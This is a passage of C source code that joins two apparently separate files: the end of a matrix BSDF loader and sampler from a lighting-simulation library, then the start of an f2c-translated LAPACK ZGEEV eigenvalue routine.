sdata = ezxml_txt(ezxml_child(wdb, "WavelengthDataDirection"));
if (!sdata)
return RC_FAIL;
/*
* Remember that front and back are reversed from WINDOW 6 orientations
*/
if (!strcasecmp(sdata, "Transmission Front")) {
if (sd->tb == NULL && (sd->tb = SDnewSpectralDF(3)) == NULL)
return RC_MEMERR;
df = sd->tb;
} else if (!strcasecmp(sdata, "Transmission Back")) {
if (sd->tf == NULL && (sd->tf = SDnewSpectralDF(3)) == NULL)
return RC_MEMERR;
df = sd->tf;
} else if (!strcasecmp(sdata, "Reflection Front")) {
if (sd->rb == NULL && (sd->rb = SDnewSpectralDF(3)) == NULL)
return RC_MEMERR;
df = sd->rb;
} else if (!strcasecmp(sdata, "Reflection Back")) {
if (sd->rf == NULL && (sd->rf = SDnewSpectralDF(3)) == NULL)
return RC_MEMERR;
df = sd->rf;
} else
return RC_FAIL;
/* free previous matrix if any */
if (df->comp[ct].dist != NULL) {
SDfreeMatrix(df->comp[ct].dist);
df->comp[ct].dist = NULL;
}
/* get angle bases */
sdata = ezxml_txt(ezxml_child(wdb,"ColumnAngleBasis"));
if (!sdata || !*sdata) {
sprintf(SDerrorDetail, "Missing column basis for BSDF '%s'",
sd->name);
return RC_FORMERR;
}
for (inbi = nabases; inbi--; )
if (!strcasecmp(sdata, abase_list[inbi].name))
break;
if (inbi < 0) {
sprintf(SDerrorDetail, "Undefined ColumnAngleBasis '%s'", sdata);
return RC_FORMERR;
}
sdata = ezxml_txt(ezxml_child(wdb,"RowAngleBasis"));
if (!sdata || !*sdata) {
sprintf(SDerrorDetail, "Missing row basis for BSDF '%s'",
sd->name);
return RC_FORMERR;
}
for (outbi = nabases; outbi--; )
if (!strcasecmp(sdata, abase_list[outbi].name))
break;
if (outbi < 0) {
sprintf(SDerrorDetail, "Undefined RowAngleBasis '%s'", sdata);
return RC_FORMERR;
}
/* allocate BSDF matrix */
dp = SDnewMatrix(abase_list[inbi].nangles, abase_list[outbi].nangles);
if (dp == NULL)
return RC_MEMERR;
dp->ib_priv = &abase_list[inbi];
dp->ob_priv = &abase_list[outbi];
if (df == sd->tf) {
dp->ib_vec = &fi_getvec;
dp->ib_ndx = &fi_getndx;
dp->ob_vec = &bo_getvec;
dp->ob_ndx = &bo_getndx;
} else if (df == sd->tb) {
dp->ib_vec = &bi_getvec;
dp->ib_ndx = &bi_getndx;
dp->ob_vec = &fo_getvec;
dp->ob_ndx = &fo_getndx;
} else if (df == sd->rf) {
dp->ib_vec = &fi_getvec;
dp->ib_ndx = &fi_getndx;
dp->ob_vec = &fo_getvec;
dp->ob_ndx = &fo_getndx;
} else /* df == sd->rb */ {
dp->ib_vec = &bi_getvec;
dp->ib_ndx = &bi_getndx;
dp->ob_vec = &bo_getvec;
dp->ob_ndx = &bo_getndx;
}
dp->ib_ohm = &io_getohm;
dp->ob_ohm = &io_getohm;
df->comp[ct].dist = dp;
df->comp[ct].func = &SDhandleMtx;
/* read BSDF data */
sdata = ezxml_txt(ezxml_child(wdb, "ScatteringData"));
if (!sdata || !*sdata) {
sprintf(SDerrorDetail, "Missing BSDF ScatteringData in '%s'",
sd->name);
return RC_FORMERR;
}
for (i = 0; i < dp->ninc*dp->nout; i++) {
char *sdnext = fskip(sdata);
double val;
if (sdnext == NULL) {
sprintf(SDerrorDetail,
"Bad/missing BSDF ScatteringData in '%s'",
sd->name);
return RC_FORMERR;
}
while (isspace(*sdnext))
sdnext++;
if (*sdnext == ',') sdnext++;
if ((val = atof(sdata)) < 0)
val = 0; /* don't allow negative values */
if (rowinc) {
int r = i/dp->nout;
int c = i - r*dp->nout;
mBSDF_value(dp,r,c) = val;
} else
dp->bsdf[i] = val;
sdata = sdnext;
}
return (ct == mtx_Y) ? get_extrema(df) : RC_GOOD;
}
/* copy our RGB (x,y) primary chromaticities */
static void
copy_RGB_prims(C_COLOR cspec[])
{
if (mtx_RGB_coef[1] < .001) { /* need to initialize */
int i = 3;
while (i--) {
float rgb[3];
rgb[0] = rgb[1] = rgb[2] = .0f;
rgb[i] = 1.f;
mtx_RGB_coef[i] = c_fromSharpRGB(rgb, &mtx_RGB_prim[i]);
}
}
memcpy(cspec, mtx_RGB_prim, sizeof(mtx_RGB_prim));
}
/* encode chromaticity if XYZ -- reduce to one channel in any case */
static SDSpectralDF *
encode_chroma(SDSpectralDF *df)
{
SDMat *mpx, *mpy, *mpz;
int n;
if (df == NULL || df->ncomp != 3)
return df;
mpy = (SDMat *)df->comp[mtx_Y].dist;
if (mpy == NULL) {
free(df);
return NULL;
}
mpx = (SDMat *)df->comp[mtx_X].dist;
mpz = (SDMat *)df->comp[mtx_Z].dist;
if (mpx == NULL || (mpx->ninc != mpy->ninc) | (mpx->nout != mpy->nout))
goto done;
if (mpz == NULL || (mpz->ninc != mpy->ninc) | (mpz->nout != mpy->nout))
goto done;
mpy->chroma = (C_CHROMA *)malloc(sizeof(C_CHROMA)*mpy->ninc*mpy->nout);
if (mpy->chroma == NULL)
goto done; /* XXX punt */
/* encode chroma values */
for (n = mpy->ninc*mpy->nout; n--; ) {
const double sum = mpx->bsdf[n] + mpy->bsdf[n] + mpz->bsdf[n];
C_COLOR cxy;
if (sum > .0)
c_cset(&cxy, mpx->bsdf[n]/sum, mpy->bsdf[n]/sum);
else
c_cset(&cxy, 1./3., 1./3.);
mpy->chroma[n] = c_encodeChroma(&cxy);
}
done: /* free X & Z channels */
if (mpx != NULL) SDfreeMatrix(mpx);
if (mpz != NULL) SDfreeMatrix(mpz);
if (mpy->chroma == NULL) /* grayscale after all? */
df->comp[0].cspec[0] = c_dfcolor;
else /* else copy RGB primaries */
copy_RGB_prims(df->comp[0].cspec);
df->ncomp = 1; /* return resized struct */
return (SDSpectralDF *)realloc(df, sizeof(SDSpectralDF));
}
/* subtract minimum (diffuse) scattering amount from BSDF */
static double
subtract_min(C_COLOR *cs, SDMat *sm)
{
const int ncomp = 1 + 2*(sm->chroma != NULL);
float min_coef[3], ymin, coef[3];
int i, o, c;
min_coef[0] = min_coef[1] = min_coef[2] = FHUGE;
for (i = 0; i < sm->ninc; i++)
for (o = 0; o < sm->nout; o++) {
c = mBSDF_color(coef, sm, i, o);
while (c--)
if (coef[c] < min_coef[c])
min_coef[c] = coef[c];
}
ymin = 0;
for (c = ncomp; c--; )
ymin += min_coef[c];
if (ymin <= .01/M_PI) /* not worth bothering about? */
return .0;
if (ncomp == 1) { /* subtract grayscale minimum */
for (i = sm->ninc*sm->nout; i--; )
sm->bsdf[i] -= ymin;
*cs = c_dfcolor;
return M_PI*ymin;
}
/* else subtract colored minimum */
for (i = 0; i < sm->ninc; i++)
for (o = 0; o < sm->nout; o++) {
C_COLOR cxy;
c = mBSDF_color(coef, sm, i, o);
while (c--)
coef[c] = (coef[c] - min_coef[c]) /
mtx_RGB_coef[c];
if (c_fromSharpRGB(coef, &cxy) > 1e-5)
mBSDF_chroma(sm,i,o) = c_encodeChroma(&cxy);
mBSDF_value(sm,i,o) -= ymin;
}
/* return colored minimum */
for (i = 3; i--; )
coef[i] = min_coef[i]/mtx_RGB_coef[i];
c_fromSharpRGB(coef, cs);
return M_PI*ymin;
}
/* Extract and separate diffuse portion of BSDF & convert color */
static SDSpectralDF *
extract_diffuse(SDValue *dv, SDSpectralDF *df)
{
df = encode_chroma(df); /* reduce XYZ to Y + chroma */
if (df == NULL || df->ncomp <= 0) {
dv->spec = c_dfcolor;
dv->cieY = .0;
return df;
}
/* subtract minimum value */
dv->cieY = subtract_min(&dv->spec, (SDMat *)df->comp[0].dist);
df->maxHemi -= dv->cieY; /* adjust maximum hemispherical */
/* make sure everything is set */
c_ccvt(&dv->spec, C_CSXY+C_CSSPEC);
return df;
}
/* Load a BSDF matrix from an open XML file */
SDError
SDloadMtx(SDData *sd, ezxml_t wtl)
{
ezxml_t wld, wdb;
int rowIn;
char *txt;
int rval;
/* basic checks and data ordering */
txt = ezxml_txt(ezxml_child(ezxml_child(wtl,
"DataDefinition"), "IncidentDataStructure"));
if (txt == NULL || !*txt) {
sprintf(SDerrorDetail,
"BSDF \"%s\": missing IncidentDataStructure",
sd->name);
return SDEformat;
}
if (!strcasecmp(txt, "Rows"))
rowIn = 1;
else if (!strcasecmp(txt, "Columns"))
rowIn = 0;
else {
sprintf(SDerrorDetail,
"BSDF \"%s\": unsupported IncidentDataStructure",
sd->name);
return SDEsupport;
}
/* get angle bases */
for (wld = ezxml_child(ezxml_child(wtl, "DataDefinition"), "AngleBasis");
wld != NULL; wld = wld->next) {
rval = load_angle_basis(wld);
if (rval < 0)
return convert_errcode(rval);
}
/* load BSDF components */
for (wld = ezxml_child(wtl, "WavelengthData");
wld != NULL; wld = wld->next) {
const char *cnm = ezxml_txt(ezxml_child(wld,"Wavelength"));
int ct = -1;
if (!strcasecmp(cnm, "Visible"))
ct = mtx_Y;
else if (!strcasecmp(cnm, "CIE-X"))
ct = mtx_X;
else if (!strcasecmp(cnm, "CIE-Z"))
ct = mtx_Z;
else
continue;
for (wdb = ezxml_child(wld, "WavelengthDataBlock");
wdb != NULL; wdb = wdb->next)
if ((rval = load_bsdf_data(sd, wdb, ct, rowIn)) < 0)
return convert_errcode(rval);
}
/* separate diffuse components */
sd->rf = extract_diffuse(&sd->rLambFront, sd->rf);
sd->rb = extract_diffuse(&sd->rLambBack, sd->rb);
if (sd->tf != NULL)
sd->tf = extract_diffuse(&sd->tLamb, sd->tf);
if (sd->tb != NULL)
sd->tb = extract_diffuse(&sd->tLamb, sd->tb);
/* return success */
return SDEnone;
}
/* Get Matrix BSDF value */
static int
SDgetMtxBSDF(float coef[SDmaxCh], const FVECT outVec,
const FVECT inVec, SDComponent *sdc)
{
const SDMat *dp;
int i_ndx, o_ndx;
/* check arguments */
if ((coef == NULL) | (outVec == NULL) | (inVec == NULL) | (sdc == NULL)
|| (dp = (SDMat *)sdc->dist) == NULL)
return 0;
/* get angle indices */
i_ndx = mBSDF_incndx(dp, inVec);
o_ndx = mBSDF_outndx(dp, outVec);
/* try reciprocity if necessary */
if ((i_ndx < 0) & (o_ndx < 0)) {
i_ndx = mBSDF_incndx(dp, outVec);
o_ndx = mBSDF_outndx(dp, inVec);
}
if ((i_ndx < 0) | (o_ndx < 0))
return 0; /* nothing from this component */
return mBSDF_color(coef, dp, i_ndx, o_ndx);
}
/* Query solid angle for vector(s) */
static SDError
SDqueryMtxProjSA(double *psa, const FVECT v1, const RREAL *v2,
int qflags, SDComponent *sdc)
{
const SDMat *dp;
double inc_psa, out_psa;
/* check arguments */
if ((psa == NULL) | (v1 == NULL) | (sdc == NULL) ||
(dp = (SDMat *)sdc->dist) == NULL)
return SDEargument;
if (v2 == NULL)
v2 = v1;
/* get projected solid angles */
out_psa = mBSDF_outohm(dp, mBSDF_outndx(dp, v1));
inc_psa = mBSDF_incohm(dp, mBSDF_incndx(dp, v2));
if ((v1 != v2) & (out_psa <= 0) & (inc_psa <= 0)) {
inc_psa = mBSDF_outohm(dp, mBSDF_outndx(dp, v2));
out_psa = mBSDF_incohm(dp, mBSDF_incndx(dp, v1));
}
switch (qflags) { /* record based on flag settings */
case SDqueryMax:
if (inc_psa > psa[0])
psa[0] = inc_psa;
if (out_psa > psa[0])
psa[0] = out_psa;
break;
case SDqueryMin+SDqueryMax:
if (inc_psa > psa[1])
psa[1] = inc_psa;
if (out_psa > psa[1])
psa[1] = out_psa;
/* fall through */
case SDqueryVal:
if (qflags == SDqueryVal)
psa[0] = M_PI;
/* fall through */
case SDqueryMin:
if ((inc_psa > 0) & (inc_psa < psa[0]))
psa[0] = inc_psa;
if ((out_psa > 0) & (out_psa < psa[0]))
psa[0] = out_psa;
break;
}
/* make sure it's legal */
return (psa[0] <= 0) ? SDEinternal : SDEnone;
}
/* Compute new cumulative distribution from BSDF */
static int
make_cdist(SDMatCDst *cd, const FVECT inVec, SDMat *dp, int rev)
{
const unsigned maxval = ~0;
double *cmtab, scale;
int o;
cmtab = (double *)malloc((cd->calen+1)*sizeof(double));
if (cmtab == NULL)
return 0;
cmtab[0] = .0;
for (o = 0; o < cd->calen; o++) {
if (rev)
cmtab[o+1] = mBSDF_value(dp, o, cd->indx) *
(*dp->ib_ohm)(o, dp->ib_priv);
else
cmtab[o+1] = mBSDF_value(dp, cd->indx, o) *
(*dp->ob_ohm)(o, dp->ob_priv);
cmtab[o+1] += cmtab[o];
}
cd->cTotal = cmtab[cd->calen];
scale = (double)maxval / cd->cTotal;
cd->carr[0] = 0;
for (o = 1; o < cd->calen; o++)
cd->carr[o] = scale*cmtab[o] + .5;
cd->carr[cd->calen] = maxval;
free(cmtab);
return 1;
}
/* Get cumulative distribution for matrix BSDF */
static const SDCDst *
SDgetMtxCDist(const FVECT inVec, SDComponent *sdc)
{
SDMat *dp;
int reverse;
SDMatCDst myCD;
SDMatCDst *cd, *cdlast;
/* check arguments */
if ((inVec == NULL) | (sdc == NULL) ||
(dp = (SDMat *)sdc->dist) == NULL)
return NULL;
memset(&myCD, 0, sizeof(myCD));
myCD.indx = mBSDF_incndx(dp, inVec);
if (myCD.indx >= 0) {
myCD.ob_priv = dp->ob_priv;
myCD.ob_vec = dp->ob_vec;
myCD.calen = dp->nout;
reverse = 0;
} else { /* try reciprocity */
myCD.indx = mBSDF_outndx(dp, inVec);
if (myCD.indx < 0)
return NULL;
myCD.ob_priv = dp->ib_priv;
myCD.ob_vec = dp->ib_vec;
myCD.calen = dp->ninc;
reverse = 1;
}
cdlast = NULL; /* check for it in cache list */
/* PLACE MUTEX LOCK HERE FOR THREAD-SAFE */
for (cd = (SDMatCDst *)sdc->cdList; cd != NULL;
cdlast = cd, cd = cd->next)
if (cd->indx == myCD.indx && (cd->calen == myCD.calen) &
(cd->ob_priv == myCD.ob_priv) &
(cd->ob_vec == myCD.ob_vec))
break;
if (cd == NULL) { /* need to allocate new entry */
cd = (SDMatCDst *)malloc(sizeof(SDMatCDst) +
sizeof(myCD.carr[0])*myCD.calen);
if (cd == NULL)
return NULL;
*cd = myCD; /* compute cumulative distribution */
if (!make_cdist(cd, inVec, dp, reverse)) {
free(cd);
return NULL;
}
cdlast = cd;
}
if (cdlast != NULL) { /* move entry to head of cache list */
cdlast->next = cd->next;
cd->next = (SDMatCDst *)sdc->cdList;
sdc->cdList = (SDCDst *)cd;
}
/* END MUTEX LOCK */
return (SDCDst *)cd; /* ready to go */
}
/* Sample cumulative distribution */
static SDError
SDsampMtxCDist(FVECT ioVec, double randX, const SDCDst *cdp)
{
const unsigned maxval = ~0;
const SDMatCDst *mcd = (const SDMatCDst *)cdp;
const unsigned target = randX*maxval;
int i, iupper, ilower;
/* check arguments */
if ((ioVec == NULL) | (mcd == NULL))
return SDEargument;
/* binary search to find index */
ilower = 0; iupper = mcd->calen;
while ((i = (iupper + ilower) >> 1) != ilower)
if (target >= mcd->carr[i])
ilower = i;
else
iupper = i;
/* localize random position */
randX = (randX*maxval - mcd->carr[ilower]) /
(double)(mcd->carr[iupper] - mcd->carr[ilower]);
/* convert index to vector */
if ((*mcd->ob_vec)(ioVec, i+randX, mcd->ob_priv))
return SDEnone;
strcpy(SDerrorDetail, "Matrix BSDF sampling fault");
return SDEinternal;
}
/* Fixed resolution BSDF methods */
const SDFunc SDhandleMtx = {
&SDgetMtxBSDF,
&SDqueryMtxProjSA,
&SDgetMtxCDist,
&SDsampMtxCDist,
&SDfreeMatrix,
};
|
744963.c | #include "f2c.h"
#include "blaswrap.h"
/* Table of constant values */
static integer c__1 = 1;
static integer c__0 = 0;
static integer c_n1 = -1;
/* Subroutine */ int zgeev_(char *jobvl, char *jobvr, integer *n,
doublecomplex *a, integer *lda, doublecomplex *w, doublecomplex *vl,
integer *ldvl, doublecomplex *vr, integer *ldvr, doublecomplex *work,
integer *lwork, doublereal *rwork, integer *info)
{
/* System generated locals */
integer a_dim1, a_offset, vl_dim1, vl_offset, vr_dim1, vr_offset, i__1,
i__2, i__3;
doublereal d__1, d__2;
doublecomplex z__1, z__2;
/* Builtin functions */
double sqrt(doublereal), d_imag(doublecomplex *);
void d_cnjg(doublecomplex *, doublecomplex *);
/* Local variables */
integer i__, k, ihi;
doublereal scl;
integer ilo;
doublereal dum[1], eps;
doublecomplex tmp;
integer ibal;
char side[1];
doublereal anrm;
integer ierr, itau, iwrk, nout;
extern logical lsame_(char *, char *);
extern /* Subroutine */ int zscal_(integer *, doublecomplex *,
doublecomplex *, integer *), dlabad_(doublereal *, doublereal *);
extern doublereal dznrm2_(integer *, doublecomplex *, integer *);
logical scalea;
extern doublereal dlamch_(char *);
doublereal cscale;
extern /* Subroutine */ int zgebak_(char *, char *, integer *, integer *,
integer *, doublereal *, integer *, doublecomplex *, integer *,
integer *), zgebal_(char *, integer *,
doublecomplex *, integer *, integer *, integer *, doublereal *,
integer *);
extern integer idamax_(integer *, doublereal *, integer *);
extern /* Subroutine */ int xerbla_(char *, integer *);
extern integer ilaenv_(integer *, char *, char *, integer *, integer *,
integer *, integer *);
logical select[1];
extern /* Subroutine */ int zdscal_(integer *, doublereal *,
doublecomplex *, integer *);
doublereal bignum;
extern doublereal zlange_(char *, integer *, integer *, doublecomplex *,
integer *, doublereal *);
extern /* Subroutine */ int zgehrd_(integer *, integer *, integer *,
doublecomplex *, integer *, doublecomplex *, doublecomplex *,
integer *, integer *), zlascl_(char *, integer *, integer *,
doublereal *, doublereal *, integer *, integer *, doublecomplex *,
integer *, integer *), zlacpy_(char *, integer *,
integer *, doublecomplex *, integer *, doublecomplex *, integer *);
integer minwrk, maxwrk;
logical wantvl;
doublereal smlnum;
integer hswork, irwork;
extern /* Subroutine */ int zhseqr_(char *, char *, integer *, integer *,
integer *, doublecomplex *, integer *, doublecomplex *,
doublecomplex *, integer *, doublecomplex *, integer *, integer *), ztrevc_(char *, char *, logical *, integer *,
doublecomplex *, integer *, doublecomplex *, integer *,
doublecomplex *, integer *, integer *, integer *, doublecomplex *,
doublereal *, integer *);
logical lquery, wantvr;
extern /* Subroutine */ int zunghr_(integer *, integer *, integer *,
doublecomplex *, integer *, doublecomplex *, doublecomplex *,
integer *, integer *);
/* -- LAPACK driver routine (version 3.1) -- */
/* Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. */
/* November 2006 */
/* .. Scalar Arguments .. */
/* .. */
/* .. Array Arguments .. */
/* .. */
/* Purpose */
/* ======= */
/* ZGEEV computes for an N-by-N complex nonsymmetric matrix A, the */
/* eigenvalues and, optionally, the left and/or right eigenvectors. */
/* The right eigenvector v(j) of A satisfies */
/* A * v(j) = lambda(j) * v(j) */
/* where lambda(j) is its eigenvalue. */
/* The left eigenvector u(j) of A satisfies */
/* u(j)**H * A = lambda(j) * u(j)**H */
/* where u(j)**H denotes the conjugate transpose of u(j). */
/* The computed eigenvectors are normalized to have Euclidean norm */
/* equal to 1 and largest component real. */
/* Arguments */
/* ========= */
/* JOBVL (input) CHARACTER*1 */
/* = 'N': left eigenvectors of A are not computed; */
/* = 'V': left eigenvectors of are computed. */
/* JOBVR (input) CHARACTER*1 */
/* = 'N': right eigenvectors of A are not computed; */
/* = 'V': right eigenvectors of A are computed. */
/* N (input) INTEGER */
/* The order of the matrix A. N >= 0. */
/* A (input/output) COMPLEX*16 array, dimension (LDA,N) */
/* On entry, the N-by-N matrix A. */
/* On exit, A has been overwritten. */
/* LDA (input) INTEGER */
/* The leading dimension of the array A. LDA >= max(1,N). */
/* W (output) COMPLEX*16 array, dimension (N) */
/* W contains the computed eigenvalues. */
/* VL (output) COMPLEX*16 array, dimension (LDVL,N) */
/* If JOBVL = 'V', the left eigenvectors u(j) are stored one */
/* after another in the columns of VL, in the same order */
/* as their eigenvalues. */
/* If JOBVL = 'N', VL is not referenced. */
/* u(j) = VL(:,j), the j-th column of VL. */
/* LDVL (input) INTEGER */
/* The leading dimension of the array VL. LDVL >= 1; if */
/* JOBVL = 'V', LDVL >= N. */
/* VR (output) COMPLEX*16 array, dimension (LDVR,N) */
/* If JOBVR = 'V', the right eigenvectors v(j) are stored one */
/* after another in the columns of VR, in the same order */
/* as their eigenvalues. */
/* If JOBVR = 'N', VR is not referenced. */
/* v(j) = VR(:,j), the j-th column of VR. */
/* LDVR (input) INTEGER */
/* The leading dimension of the array VR. LDVR >= 1; if */
/* JOBVR = 'V', LDVR >= N. */
/* WORK (workspace/output) COMPLEX*16 array, dimension (MAX(1,LWORK)) */
/* On exit, if INFO = 0, WORK(1) returns the optimal LWORK. */
/* LWORK (input) INTEGER */
/* The dimension of the array WORK. LWORK >= max(1,2*N). */
/* For good performance, LWORK must generally be larger. */
/* If LWORK = -1, then a workspace query is assumed; the routine */
/* only calculates the optimal size of the WORK array, returns */
/* this value as the first entry of the WORK array, and no error */
/* message related to LWORK is issued by XERBLA. */
/* RWORK (workspace) DOUBLE PRECISION array, dimension (2*N) */
/* INFO (output) INTEGER */
/* = 0: successful exit */
/* < 0: if INFO = -i, the i-th argument had an illegal value. */
/* > 0: if INFO = i, the QR algorithm failed to compute all the */
/* eigenvalues, and no eigenvectors have been computed; */
/* elements and i+1:N of W contain eigenvalues which have */
/* converged. */
/* ===================================================================== */
/* .. Parameters .. */
/* .. */
/* .. Local Scalars .. */
/* .. */
/* .. Local Arrays .. */
/* .. */
/* .. External Subroutines .. */
/* .. */
/* .. External Functions .. */
/* .. */
/* .. Intrinsic Functions .. */
/* .. */
/* .. Executable Statements .. */
/* Test the input arguments */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1;
a -= a_offset;
--w;
vl_dim1 = *ldvl;
vl_offset = 1 + vl_dim1;
vl -= vl_offset;
vr_dim1 = *ldvr;
vr_offset = 1 + vr_dim1;
vr -= vr_offset;
--work;
--rwork;
/* Function Body */
*info = 0;
lquery = *lwork == -1;
wantvl = lsame_(jobvl, "V");
wantvr = lsame_(jobvr, "V");
if (! wantvl && ! lsame_(jobvl, "N")) {
*info = -1;
} else if (! wantvr && ! lsame_(jobvr, "N")) {
*info = -2;
} else if (*n < 0) {
*info = -3;
} else if (*lda < max(1,*n)) {
*info = -5;
} else if (*ldvl < 1 || wantvl && *ldvl < *n) {
*info = -8;
} else if (*ldvr < 1 || wantvr && *ldvr < *n) {
*info = -10;
}
/* Compute workspace */
/* (Note: Comments in the code beginning "Workspace:" describe the */
/* minimal amount of workspace needed at that point in the code, */
/* as well as the preferred amount for good performance. */
/* CWorkspace refers to complex workspace, and RWorkspace to real */
/* workspace. NB refers to the optimal block size for the */
/* immediately following subroutine, as returned by ILAENV. */
/* HSWORK refers to the workspace preferred by ZHSEQR, as */
/* calculated below. HSWORK is computed assuming ILO=1 and IHI=N, */
/* the worst case.) */
if (*info == 0) {
if (*n == 0) {
minwrk = 1;
maxwrk = 1;
} else {
maxwrk = *n + *n * ilaenv_(&c__1, "ZGEHRD", " ", n, &c__1, n, &
c__0);
minwrk = *n << 1;
if (wantvl) {
/* Computing MAX */
i__1 = maxwrk, i__2 = *n + (*n - 1) * ilaenv_(&c__1, "ZUNGHR",
" ", n, &c__1, n, &c_n1);
maxwrk = max(i__1,i__2);
zhseqr_("S", "V", n, &c__1, n, &a[a_offset], lda, &w[1], &vl[
vl_offset], ldvl, &work[1], &c_n1, info);
} else if (wantvr) {
/* Computing MAX */
i__1 = maxwrk, i__2 = *n + (*n - 1) * ilaenv_(&c__1, "ZUNGHR",
" ", n, &c__1, n, &c_n1);
maxwrk = max(i__1,i__2);
zhseqr_("S", "V", n, &c__1, n, &a[a_offset], lda, &w[1], &vr[
vr_offset], ldvr, &work[1], &c_n1, info);
} else {
zhseqr_("E", "N", n, &c__1, n, &a[a_offset], lda, &w[1], &vr[
vr_offset], ldvr, &work[1], &c_n1, info);
}
hswork = (integer) work[1].r;
/* Computing MAX */
i__1 = max(maxwrk,hswork);
maxwrk = max(i__1,minwrk);
}
work[1].r = (doublereal) maxwrk, work[1].i = 0.;
if (*lwork < minwrk && ! lquery) {
*info = -12;
}
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZGEEV ", &i__1);
return 0;
} else if (lquery) {
return 0;
}
/* Quick return if possible */
if (*n == 0) {
return 0;
}
/* Get machine constants */
eps = dlamch_("P");
smlnum = dlamch_("S");
bignum = 1. / smlnum;
dlabad_(&smlnum, &bignum);
smlnum = sqrt(smlnum) / eps;
bignum = 1. / smlnum;
/* Scale A if max element outside range [SMLNUM,BIGNUM] */
anrm = zlange_("M", n, n, &a[a_offset], lda, dum);
scalea = FALSE_;
if (anrm > 0. && anrm < smlnum) {
scalea = TRUE_;
cscale = smlnum;
} else if (anrm > bignum) {
scalea = TRUE_;
cscale = bignum;
}
if (scalea) {
zlascl_("G", &c__0, &c__0, &anrm, &cscale, n, n, &a[a_offset], lda, &
ierr);
}
/* Balance the matrix */
/* (CWorkspace: none) */
/* (RWorkspace: need N) */
ibal = 1;
zgebal_("B", n, &a[a_offset], lda, &ilo, &ihi, &rwork[ibal], &ierr);
/* Reduce to upper Hessenberg form */
/* (CWorkspace: need 2*N, prefer N+N*NB) */
/* (RWorkspace: none) */
itau = 1;
iwrk = itau + *n;
i__1 = *lwork - iwrk + 1;
zgehrd_(n, &ilo, &ihi, &a[a_offset], lda, &work[itau], &work[iwrk], &i__1,
&ierr);
if (wantvl) {
/* Want left eigenvectors */
/* Copy Householder vectors to VL */
*(unsigned char *)side = 'L';
zlacpy_("L", n, n, &a[a_offset], lda, &vl[vl_offset], ldvl)
;
/* Generate unitary matrix in VL */
/* (CWorkspace: need 2*N-1, prefer N+(N-1)*NB) */
/* (RWorkspace: none) */
i__1 = *lwork - iwrk + 1;
zunghr_(n, &ilo, &ihi, &vl[vl_offset], ldvl, &work[itau], &work[iwrk],
&i__1, &ierr);
/* Perform QR iteration, accumulating Schur vectors in VL */
/* (CWorkspace: need 1, prefer HSWORK (see comments) ) */
/* (RWorkspace: none) */
iwrk = itau;
i__1 = *lwork - iwrk + 1;
zhseqr_("S", "V", n, &ilo, &ihi, &a[a_offset], lda, &w[1], &vl[
vl_offset], ldvl, &work[iwrk], &i__1, info);
if (wantvr) {
/* Want left and right eigenvectors */
/* Copy Schur vectors to VR */
*(unsigned char *)side = 'B';
zlacpy_("F", n, n, &vl[vl_offset], ldvl, &vr[vr_offset], ldvr);
}
} else if (wantvr) {
/* Want right eigenvectors */
/* Copy Householder vectors to VR */
*(unsigned char *)side = 'R';
zlacpy_("L", n, n, &a[a_offset], lda, &vr[vr_offset], ldvr)
;
/* Generate unitary matrix in VR */
/* (CWorkspace: need 2*N-1, prefer N+(N-1)*NB) */
/* (RWorkspace: none) */
i__1 = *lwork - iwrk + 1;
zunghr_(n, &ilo, &ihi, &vr[vr_offset], ldvr, &work[itau], &work[iwrk],
&i__1, &ierr);
/* Perform QR iteration, accumulating Schur vectors in VR */
/* (CWorkspace: need 1, prefer HSWORK (see comments) ) */
/* (RWorkspace: none) */
iwrk = itau;
i__1 = *lwork - iwrk + 1;
zhseqr_("S", "V", n, &ilo, &ihi, &a[a_offset], lda, &w[1], &vr[
vr_offset], ldvr, &work[iwrk], &i__1, info);
} else {
/* Compute eigenvalues only */
/* (CWorkspace: need 1, prefer HSWORK (see comments) ) */
/* (RWorkspace: none) */
iwrk = itau;
i__1 = *lwork - iwrk + 1;
zhseqr_("E", "N", n, &ilo, &ihi, &a[a_offset], lda, &w[1], &vr[
vr_offset], ldvr, &work[iwrk], &i__1, info);
}
/* If INFO > 0 from ZHSEQR, then quit */
if (*info > 0) {
goto L50;
}
if (wantvl || wantvr) {
/* Compute left and/or right eigenvectors */
/* (CWorkspace: need 2*N) */
/* (RWorkspace: need 2*N) */
irwork = ibal + *n;
ztrevc_(side, "B", select, n, &a[a_offset], lda, &vl[vl_offset], ldvl,
&vr[vr_offset], ldvr, n, &nout, &work[iwrk], &rwork[irwork],
&ierr);
}
if (wantvl) {
/* Undo balancing of left eigenvectors */
/* (CWorkspace: none) */
/* (RWorkspace: need N) */
zgebak_("B", "L", n, &ilo, &ihi, &rwork[ibal], n, &vl[vl_offset],
ldvl, &ierr);
/* Normalize left eigenvectors and make largest component real */
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
scl = 1. / dznrm2_(n, &vl[i__ * vl_dim1 + 1], &c__1);
zdscal_(n, &scl, &vl[i__ * vl_dim1 + 1], &c__1);
i__2 = *n;
for (k = 1; k <= i__2; ++k) {
i__3 = k + i__ * vl_dim1;
/* Computing 2nd power */
d__1 = vl[i__3].r;
/* Computing 2nd power */
d__2 = d_imag(&vl[k + i__ * vl_dim1]);
rwork[irwork + k - 1] = d__1 * d__1 + d__2 * d__2;
/* L10: */
}
k = idamax_(n, &rwork[irwork], &c__1);
d_cnjg(&z__2, &vl[k + i__ * vl_dim1]);
d__1 = sqrt(rwork[irwork + k - 1]);
z__1.r = z__2.r / d__1, z__1.i = z__2.i / d__1;
tmp.r = z__1.r, tmp.i = z__1.i;
zscal_(n, &tmp, &vl[i__ * vl_dim1 + 1], &c__1);
i__2 = k + i__ * vl_dim1;
i__3 = k + i__ * vl_dim1;
d__1 = vl[i__3].r;
z__1.r = d__1, z__1.i = 0.;
vl[i__2].r = z__1.r, vl[i__2].i = z__1.i;
/* L20: */
}
}
if (wantvr) {
/* Undo balancing of right eigenvectors */
/* (CWorkspace: none) */
/* (RWorkspace: need N) */
zgebak_("B", "R", n, &ilo, &ihi, &rwork[ibal], n, &vr[vr_offset],
ldvr, &ierr);
/* Normalize right eigenvectors and make largest component real */
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
scl = 1. / dznrm2_(n, &vr[i__ * vr_dim1 + 1], &c__1);
zdscal_(n, &scl, &vr[i__ * vr_dim1 + 1], &c__1);
i__2 = *n;
for (k = 1; k <= i__2; ++k) {
i__3 = k + i__ * vr_dim1;
/* Computing 2nd power */
d__1 = vr[i__3].r;
